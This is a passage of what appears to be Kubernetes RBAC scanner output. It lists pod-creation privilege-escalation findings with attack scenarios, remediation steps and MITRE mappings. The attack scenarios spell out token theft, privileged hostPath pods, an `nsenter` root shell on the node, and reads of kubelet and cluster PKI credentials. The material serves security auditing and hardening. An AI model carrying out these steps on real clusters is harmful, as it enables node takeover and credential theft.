    "description": "Subject ServiceAccount/vulnerable/privileged-reader can `create` pods via ClusterRoleBinding `privileged-reader` → ClusterRole `privileged-reader`. Cluster-wide: applies to every current and future namespace.\n\nUnder Kubernetes' RBAC model, pod creation is one of the most powerful permissions because the API server does not police the privileges of the pod being created, only the create verb itself. A pod is a request to run code as a ServiceAccount; by choosing `spec.serviceAccountName` the attacker borrows the identity (and RBAC permissions) of any ServiceAccount in the target namespace, with the token mounted automatically at `/var/run/secrets/kubernetes.io/serviceaccount/token`.\n\nBeyond identity hopping, a created pod can request `hostPath`, `hostNetwork`, `hostPID`, `privileged: true`, or `SYS_ADMIN`. None of those are blocked by RBAC; only Pod Security Admission or a policy engine (Kyverno, Gatekeeper, ValidatingAdmissionPolicy) can stop them. A typical attack mounts / from the host and reads `/etc/kubernetes/pki/admin.conf` directly.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "privileged-reader",
      "namespace": "vulnerable"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "privileged-reader",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Run arbitrary code as any ServiceAccount in Cluster-wide (including privileged ones); optionally request privileged/host-mount pods to escape to the underlying node.",
    "attack_scenario": [
      "Attacker enumerates target namespaces with `kubectl get sa -A` to find privileged ServiceAccounts (e.g. `kube-system/clusterrole-aggregation-controller`).",
      "They craft a pod manifest with `spec.serviceAccountName: \u003cprivileged-sa\u003e` and any container image they control.",
      "They `kubectl apply -f` the pod; the kubelet mounts the privileged ServiceAccount's JWT into the container at the well-known path.",
      "They `exec` into the pod (or have the container phone home), read the token, and replay it against the API server.",
      "Optionally, they instead create a pod with `hostPID: true` + `privileged: true` + `hostPath` of `/` and break out to the node."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "pods"
      ],
      "scope": "cluster",
      "source_binding": "privileged-reader",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "privileged-reader",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "create"
      ]
    },
    "remediation": "Remove direct pod-create rights from non-platform identities; have CI/CD or controllers create workload objects (Deployments) so the controller-manager creates the pod under its own ServiceAccount.",
    "remediation_steps": [
      "Replace direct `create` on `pods` with `create/update` on `deployments` (or the appropriate workload controller).",
      "Enforce `restricted` Pod Security Standard via `pod-security.kubernetes.io/enforce=restricted` namespace label so privileged/hostPath pods are rejected at admission.",
      "Add a Kyverno/Gatekeeper policy that requires `automountServiceAccountToken: false` on user-created pods, or pins them to a non-privileged ServiceAccount.",
      "Verify with `kubectl auth can-i create pods --as=privileged-reader -A` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/concepts/security/pod-security-admission/",
      "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices: Workload creation",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Pod Security Admission",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-admission/"
      },
      {
        "title": "Bishop Fox — Bad Pods: Pod Privilege Escalation",
        "url": "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.4",
        "title": "Minimize access to create pods",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-001:ServiceAccount/local-path-storage/local-path-provisioner-service-account:local-path-storage:pods",
    "rule_id": "KUBE-PRIVESC-001",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Namespace `local-path-storage` only pod creation enables token theft and node takeover (`ServiceAccount/local-path-storage/local-path-provisioner-service-account`)",
    "description": "Subject ServiceAccount/local-path-storage/local-path-provisioner-service-account can `create` pods via RoleBinding `local-path-storage/local-path-provisioner-bind` → Role `local-path-storage/local-path-provisioner-role`. Namespace `local-path-storage` only.\n\nUnder Kubernetes' RBAC model, pod creation is one of the most powerful permissions because the API server does not police the privileges of the pod being created, only the create verb itself. A pod is a request to run code as a ServiceAccount; by choosing `spec.serviceAccountName` the attacker borrows the identity (and RBAC permissions) of any ServiceAccount in the target namespace, with the token mounted automatically at `/var/run/secrets/kubernetes.io/serviceaccount/token`.\n\nBeyond identity hopping, a created pod can request `hostPath`, `hostNetwork`, `hostPID`, `privileged: true`, or `SYS_ADMIN`. None of those are blocked by RBAC; only Pod Security Admission or a policy engine (Kyverno, Gatekeeper, ValidatingAdmissionPolicy) can stop them. A typical attack mounts / from the host and reads `/etc/kubernetes/pki/admin.conf` directly.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "local-path-provisioner-service-account",
      "namespace": "local-path-storage"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "local-path-provisioner-role",
      "namespace": "local-path-storage",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "local-path-storage",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `local-path-storage` only"
    },
    "impact": "Run arbitrary code as any ServiceAccount in Namespace `local-path-storage` only (including privileged ones); optionally request privileged/host-mount pods to escape to the underlying node.",
    "attack_scenario": [
      "Attacker enumerates target namespaces with `kubectl get sa -A` to find privileged ServiceAccounts (e.g. `kube-system/clusterrole-aggregation-controller`).",
      "They craft a pod manifest with `spec.serviceAccountName: \u003cprivileged-sa\u003e` and any container image they control.",
      "They `kubectl apply -f` the pod; the kubelet mounts the privileged ServiceAccount's JWT into the container at the well-known path.",
      "They `exec` into the pod (or have the container phone home), read the token, and replay it against the API server.",
      "Optionally, they instead create a pod with `hostPID: true` + `privileged: true` + `hostPath` of `/` and break out to the node."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "local-path-storage",
      "resource_names": null,
      "resources": [
        "pods"
      ],
      "scope": "namespace",
      "source_binding": "local-path-provisioner-bind",
      "source_binding_kind": "RoleBinding",
      "source_role": "local-path-provisioner-role",
      "source_role_kind": "Role",
      "verbs": [
        "get",
        "list",
        "watch",
        "create",
        "patch",
        "update",
        "delete"
      ]
    },
    "remediation": "Remove direct pod-create rights from non-platform identities; have CI/CD or controllers create workload objects (Deployments) so the controller-manager creates the pod under its own ServiceAccount.",
    "remediation_steps": [
      "Replace direct `create` on `pods` with `create/update` on `deployments` (or the appropriate workload controller).",
      "Enforce `restricted` Pod Security Standard via `pod-security.kubernetes.io/enforce=restricted` namespace label so privileged/hostPath pods are rejected at admission.",
      "Add a Kyverno/Gatekeeper policy that requires `automountServiceAccountToken: false` on user-created pods, or pins them to a non-privileged ServiceAccount.",
      "Verify with `kubectl auth can-i create pods --as=local-path-provisioner-service-account -n local-path-storage` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/concepts/security/pod-security-admission/",
      "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices: Workload creation",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Pod Security Admission",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-admission/"
      },
      {
        "title": "Bishop Fox — Bad Pods: Pod Privilege Escalation",
        "url": "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.4",
        "title": "Minimize access to create pods",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac"
    ]
  },
  {
    "id": "KUBE-PRIVESC-001:ServiceAccount/privesc-fixtures/sa-pod-create-escape:privesc-fixtures:pods",
    "rule_id": "KUBE-PRIVESC-001",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Namespace `privesc-fixtures` only pod creation enables token theft and node takeover (`ServiceAccount/privesc-fixtures/sa-pod-create-escape`)",
    "description": "Subject ServiceAccount/privesc-fixtures/sa-pod-create-escape can `create` pods via RoleBinding `privesc-fixtures/rb-pod-create-escape` → Role `privesc-fixtures/r-pod-create-escape`. Namespace `privesc-fixtures` only.\n\nUnder Kubernetes' RBAC model, pod creation is one of the most powerful permissions because the API server does not police the privileges of the pod being created, only the create verb itself. A pod is a request to run code as a ServiceAccount; by choosing `spec.serviceAccountName` the attacker borrows the identity (and RBAC permissions) of any ServiceAccount in the target namespace, with the token mounted automatically at `/var/run/secrets/kubernetes.io/serviceaccount/token`.\n\nBeyond identity hopping, a created pod can request `hostPath`, `hostNetwork`, `hostPID`, `privileged: true`, or `SYS_ADMIN`. None of those are blocked by RBAC; only Pod Security Admission or a policy engine (Kyverno, Gatekeeper, ValidatingAdmissionPolicy) can stop them. A typical attack mounts / from the host and reads `/etc/kubernetes/pki/admin.conf` directly.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create-escape",
      "namespace": "privesc-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "r-pod-create-escape",
      "namespace": "privesc-fixtures",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "privesc-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `privesc-fixtures` only"
    },
    "impact": "Run arbitrary code as any ServiceAccount in Namespace `privesc-fixtures` only (including privileged ones); optionally request privileged/host-mount pods to escape to the underlying node.",
    "attack_scenario": [
      "Attacker enumerates target namespaces with `kubectl get sa -A` to find privileged ServiceAccounts (e.g. `kube-system/clusterrole-aggregation-controller`).",
      "They craft a pod manifest with `spec.serviceAccountName: \u003cprivileged-sa\u003e` and any container image they control.",
      "They `kubectl apply -f` the pod; the kubelet mounts the privileged ServiceAccount's JWT into the container at the well-known path.",
      "They `exec` into the pod (or have the container phone home), read the token, and replay it against the API server.",
      "Optionally, they instead create a pod with `hostPID: true` + `privileged: true` + `hostPath` of `/` and break out to the node."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "privesc-fixtures",
      "resource_names": null,
      "resources": [
        "pods"
      ],
      "scope": "namespace",
      "source_binding": "rb-pod-create-escape",
      "source_binding_kind": "RoleBinding",
      "source_role": "r-pod-create-escape",
      "source_role_kind": "Role",
      "verbs": [
        "create"
      ]
    },
    "remediation": "Remove direct pod-create rights from non-platform identities; have CI/CD or controllers create workload objects (Deployments) so the controller-manager creates the pod under its own ServiceAccount.",
    "remediation_steps": [
      "Replace direct `create` on `pods` with `create/update` on `deployments` (or the appropriate workload controller).",
      "Enforce `restricted` Pod Security Standard via `pod-security.kubernetes.io/enforce=restricted` namespace label so privileged/hostPath pods are rejected at admission.",
      "Add a Kyverno/Gatekeeper policy that requires `automountServiceAccountToken: false` on user-created pods, or pins them to a non-privileged ServiceAccount.",
      "Verify with `kubectl auth can-i create pods --as=sa-pod-create-escape -n privesc-fixtures` returning `no`."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation",
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/concepts/security/pod-security-admission/",
      "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — RBAC Good Practices: Workload creation",
        "url": "https://kubernetes.io/docs/concepts/security/rbac-good-practices/#workload-creation"
      },
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Pod Security Admission",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-admission/"
      },
      {
        "title": "Bishop Fox — Bad Pods: Pod Privilege Escalation",
        "url": "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1552.007",
        "name": "Unsecured Credentials: Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.1.4",
        "title": "Minimize access to create pods",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Authorization",
        "title": "Role-based access control",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-002:ServiceAccount/rbac-fixtures/sa-pod-create::pods",
    "rule_id": "KUBE-PRIVESC-002",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide pod creation can launch a privileged pod and escape to the node (`ServiceAccount/rbac-fixtures/sa-pod-create`)",
    "description": "Subject ServiceAccount/rbac-fixtures/sa-pod-create can `create` pods via ClusterRoleBinding `crb-pod-create` → ClusterRole `cr-pod-create`, and any namespace without a restrictive Pod Security Admission `enforce` label does not enforce a Pod Security Admission level that blocks privileged pods. Cluster-wide: applies to every current and future namespace.\n\nRBAC never inspects the contents of a pod, only the `create` verb. When the target namespace has no `pod-security.kubernetes.io/enforce` label (or it is set to `privileged`), nothing at admission stops the attacker from creating a pod with `privileged: true`, `hostPID: true`, `hostNetwork: true`, or a `hostPath` mount of `/`. From inside that pod, breaking out to the node is trivial (`nsenter` into PID 1, read `/etc/kubernetes/pki`, steal the kubelet client cert).\n\nThis is the difference between KUBE-PRIVESC-001 (pod create → steal another SA's token) and this finding: here the missing Pod Security backstop turns pod-create into full node compromise. Baseline or Restricted enforcement would block the privileged pod and downgrade the risk to token theft alone.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "sa-pod-create",
      "namespace": "rbac-fixtures"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cr-pod-create",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Create a privileged / host-mounting pod and escape to the underlying node, then harvest every pod's token and the kubelet credentials on that node.",
    "attack_scenario": [
      "Attacker confirms pod-create with `kubectl auth can-i create pods --as=sa-pod-create -A` and notes the target namespace has no restrictive Pod Security `enforce` label.",
      "They craft a pod with `securityContext.privileged: true`, `hostPID: true`, and a `hostPath` volume mounting `/`.",
      "They `kubectl apply` the pod; Pod Security Admission does not reject it because the namespace is unlabelled or set to `privileged`.",
      "They exec in and `nsenter -t 1 -m -u -i -n -p -- /bin/sh` to land a root shell on the node.",
      "They read `/var/lib/kubelet/pki/kubelet-client-current.pem` and `/etc/kubernetes/pki/*`, then pivot to the control plane."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "pods"
      ],
      "scope": "cluster",
      "source_binding": "crb-pod-create",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "cr-pod-create",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "create"
      ]
    },
    "remediation": "Enforce the Restricted (or at least Baseline) Pod Security Standard on the namespace, and remove direct pod-create from non-platform identities.",
    "remediation_steps": [
      "Label the namespace to enforce Pod Security: `kubectl label ns \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. Baseline blocks privileged/hostPath/host namespaces; Restricted additionally requires non-root and seccomp.",
      "Replace direct `create` on `pods` with `create/update` on workload controllers routed through CI/CD, so a controller (not the attacker) creates the pod.",
      "Add a Kyverno/Gatekeeper/ValidatingAdmissionPolicy that rejects `privileged`, `hostPID`, `hostNetwork`, and sensitive `hostPath` mounts outside an explicit allowlist, as defence in depth behind PSA.",
      "Verify by attempting to create a privileged pod as the subject and confirming admission rejects it, and that `kubectl auth can-i create pods --as=sa-pod-create -A` returns `no` for application identities."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/concepts/security/pod-security-admission/",
      "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Pod Security Admission",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-admission/"
      },
      {
        "title": "Bishop Fox — Bad Pods: Pod Privilege Escalation",
        "url": "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-002:ServiceAccount/vulnerable/privileged-reader::pods",
    "rule_id": "KUBE-PRIVESC-002",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Cluster-wide pod creation can launch a privileged pod and escape to the node (`ServiceAccount/vulnerable/privileged-reader`)",
    "description": "Subject ServiceAccount/vulnerable/privileged-reader can `create` pods via ClusterRoleBinding `privileged-reader` → ClusterRole `privileged-reader`, and any namespace without a restrictive Pod Security Admission `enforce` label does not enforce a Pod Security Admission level that blocks privileged pods. Cluster-wide: applies to every current and future namespace.\n\nRBAC never inspects the contents of a pod, only the `create` verb. When the target namespace has no `pod-security.kubernetes.io/enforce` label (or it is set to `privileged`), nothing at admission stops the attacker from creating a pod with `privileged: true`, `hostPID: true`, `hostNetwork: true`, or a `hostPath` mount of `/`. From inside that pod, breaking out to the node is trivial (`nsenter` into PID 1, read `/etc/kubernetes/pki`, steal the kubelet client cert).\n\nThis is the difference between KUBE-PRIVESC-001 (pod create → steal another SA's token) and this finding: here the missing Pod Security backstop turns pod-create into full node compromise. Baseline or Restricted enforcement would block the privileged pod and downgrade the risk to token theft alone.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "privileged-reader",
      "namespace": "vulnerable"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "privileged-reader",
      "api_group": "rbac.authorization.k8s.io"
    },
    "scope": {
      "level": "cluster",
      "detail": "Cluster-wide: applies to every current and future namespace"
    },
    "impact": "Create a privileged / host-mounting pod and escape to the underlying node, then harvest every pod's token and the kubelet credentials on that node.",
    "attack_scenario": [
      "Attacker confirms pod-create with `kubectl auth can-i create pods --as=privileged-reader -A` and notes the target namespace has no restrictive Pod Security `enforce` label.",
      "They craft a pod with `securityContext.privileged: true`, `hostPID: true`, and a `hostPath` volume mounting `/`.",
      "They `kubectl apply` the pod; Pod Security Admission does not reject it because the namespace is unlabelled or set to `privileged`.",
      "They exec in and `nsenter -t 1 -m -u -i -n -p -- /bin/sh` to land a root shell on the node.",
      "They read `/var/lib/kubelet/pki/kubelet-client-current.pem` and `/etc/kubernetes/pki/*`, then pivot to the control plane."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "",
      "resource_names": null,
      "resources": [
        "pods"
      ],
      "scope": "cluster",
      "source_binding": "privileged-reader",
      "source_binding_kind": "ClusterRoleBinding",
      "source_role": "privileged-reader",
      "source_role_kind": "ClusterRole",
      "verbs": [
        "create"
      ]
    },
    "remediation": "Enforce the Restricted (or at least Baseline) Pod Security Standard on the namespace, and remove direct pod-create from non-platform identities.",
    "remediation_steps": [
      "Label the namespace to enforce Pod Security: `kubectl label ns \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. Baseline blocks privileged/hostPath/host namespaces; Restricted additionally requires non-root and seccomp.",
      "Replace direct `create` on `pods` with `create/update` on workload controllers routed through CI/CD, so a controller (not the attacker) creates the pod.",
      "Add a Kyverno/Gatekeeper/ValidatingAdmissionPolicy that rejects `privileged`, `hostPID`, `hostNetwork`, and sensitive `hostPath` mounts outside an explicit allowlist, as defence in depth behind PSA.",
      "Verify by attempting to create a privileged pod as the subject and confirming admission rejects it, and that `kubectl auth can-i create pods --as=privileged-reader -A` returns `no` for application identities."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/concepts/security/pod-security-admission/",
      "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Pod Security Admission",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-admission/"
      },
      {
        "title": "Bishop Fox — Bad Pods: Pod Privilege Escalation",
        "url": "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1610",
        "name": "Deploy Container",
        "url": "https://attack.mitre.org/techniques/T1610/"
      },
      {
        "id": "T1611",
        "name": "Escape to Host",
        "url": "https://attack.mitre.org/techniques/T1611/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:rbac",
      "chain:amplified"
    ]
  },
  {
    "id": "KUBE-PRIVESC-002:ServiceAccount/cutres/cutres-doublebind:cutres-pods-a:pods",
    "rule_id": "KUBE-PRIVESC-002",
    "severity": "HIGH",
    "score": 10,
    "category": "privilege_escalation",
    "title": "Namespace `cutres-pods-a` only pod creation can launch a privileged pod and escape to the node (`ServiceAccount/cutres/cutres-doublebind`)",
    "description": "Subject ServiceAccount/cutres/cutres-doublebind can `create` pods via RoleBinding `cutres-pods-a/cutres-pod-creator-a` → Role `cutres-pods-a/cutres-pod-creator`, and namespace `cutres-pods-a` does not enforce a Pod Security Admission level that blocks privileged pods. Namespace `cutres-pods-a` only.\n\nRBAC never inspects the contents of a pod, only the `create` verb. When the target namespace has no `pod-security.kubernetes.io/enforce` label (or it is set to `privileged`), nothing at admission stops the attacker from creating a pod with `privileged: true`, `hostPID: true`, `hostNetwork: true`, or a `hostPath` mount of `/`. From inside that pod, breaking out to the node is trivial (`nsenter` into PID 1, read `/etc/kubernetes/pki`, steal the kubelet client cert).\n\nThis is the difference between KUBE-PRIVESC-001 (pod create → steal another SA's token) and this finding: here the missing Pod Security backstop turns pod-create into full node compromise. Baseline or Restricted enforcement would block the privileged pod and downgrade the risk to token theft alone.",
    "subject": {
      "kind": "ServiceAccount",
      "name": "cutres-doublebind",
      "namespace": "cutres"
    },
    "resource": {
      "kind": "RBACRule",
      "name": "cutres-pod-creator",
      "namespace": "cutres-pods-a",
      "api_group": "rbac.authorization.k8s.io"
    },
    "namespace": "cutres-pods-a",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `cutres-pods-a` only"
    },
    "impact": "Create a privileged / host-mounting pod and escape to the underlying node, then harvest every pod's token and the kubelet credentials on that node.",
    "attack_scenario": [
      "Attacker confirms pod-create with `kubectl auth can-i create pods --as=cutres-doublebind -n cutres-pods-a` and notes the target namespace has no restrictive Pod Security `enforce` label.",
      "They craft a pod with `securityContext.privileged: true`, `hostPID: true`, and a `hostPath` volume mounting `/`.",
      "They `kubectl apply` the pod; Pod Security Admission does not reject it because the namespace is unlabelled or set to `privileged`.",
      "They exec in and `nsenter -t 1 -m -u -i -n -p -- /bin/sh` to land a root shell on the node.",
      "They read `/var/lib/kubelet/pki/kubelet-client-current.pem` and `/etc/kubernetes/pki/*`, then pivot to the control plane."
    ],
    "evidence": {
      "api_groups": [
        ""
      ],
      "namespace": "cutres-pods-a",
      "resource_names": null,
      "resources": [
        "pods"
      ],
      "scope": "namespace",
      "source_binding": "cutres-pod-creator-a",
      "source_binding_kind": "RoleBinding",
      "source_role": "cutres-pod-creator",
      "source_role_kind": "Role",
      "verbs": [
        "create"
      ]
    },
    "remediation": "Enforce the Restricted (or at least Baseline) Pod Security Standard on the namespace, and remove direct pod-create from non-platform identities.",
    "remediation_steps": [
      "Label the namespace to enforce Pod Security: `kubectl label ns \u003cns\u003e pod-security.kubernetes.io/enforce=restricted`. Baseline blocks privileged/hostPath/host namespaces; Restricted additionally requires non-root and seccomp.",
      "Replace direct `create` on `pods` with `create/update` on workload controllers routed through CI/CD, so a controller (not the attacker) creates the pod.",
      "Add a Kyverno/Gatekeeper/ValidatingAdmissionPolicy that rejects `privileged`, `hostPID`, `hostNetwork`, and sensitive `hostPath` mounts outside an explicit allowlist, as defence in depth behind PSA.",
      "Verify by attempting to create a privileged pod as the subject and confirming admission rejects it, and that `kubectl auth can-i create pods --as=cutres-doublebind -n cutres-pods-a` returns `no` for application identities."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/security/pod-security-standards/",
      "https://kubernetes.io/docs/concepts/security/pod-security-admission/",
      "https://bishopfox.com/blog/kubernetes-pod-privilege-escalation",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Pod Security Standards",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-standards/"
      },
      {
        "title": "Kubernetes — Pod Security Admission",
        "url": "https://kubernetes.io/docs/concepts/security/pod-security-admission/"
      },
      {
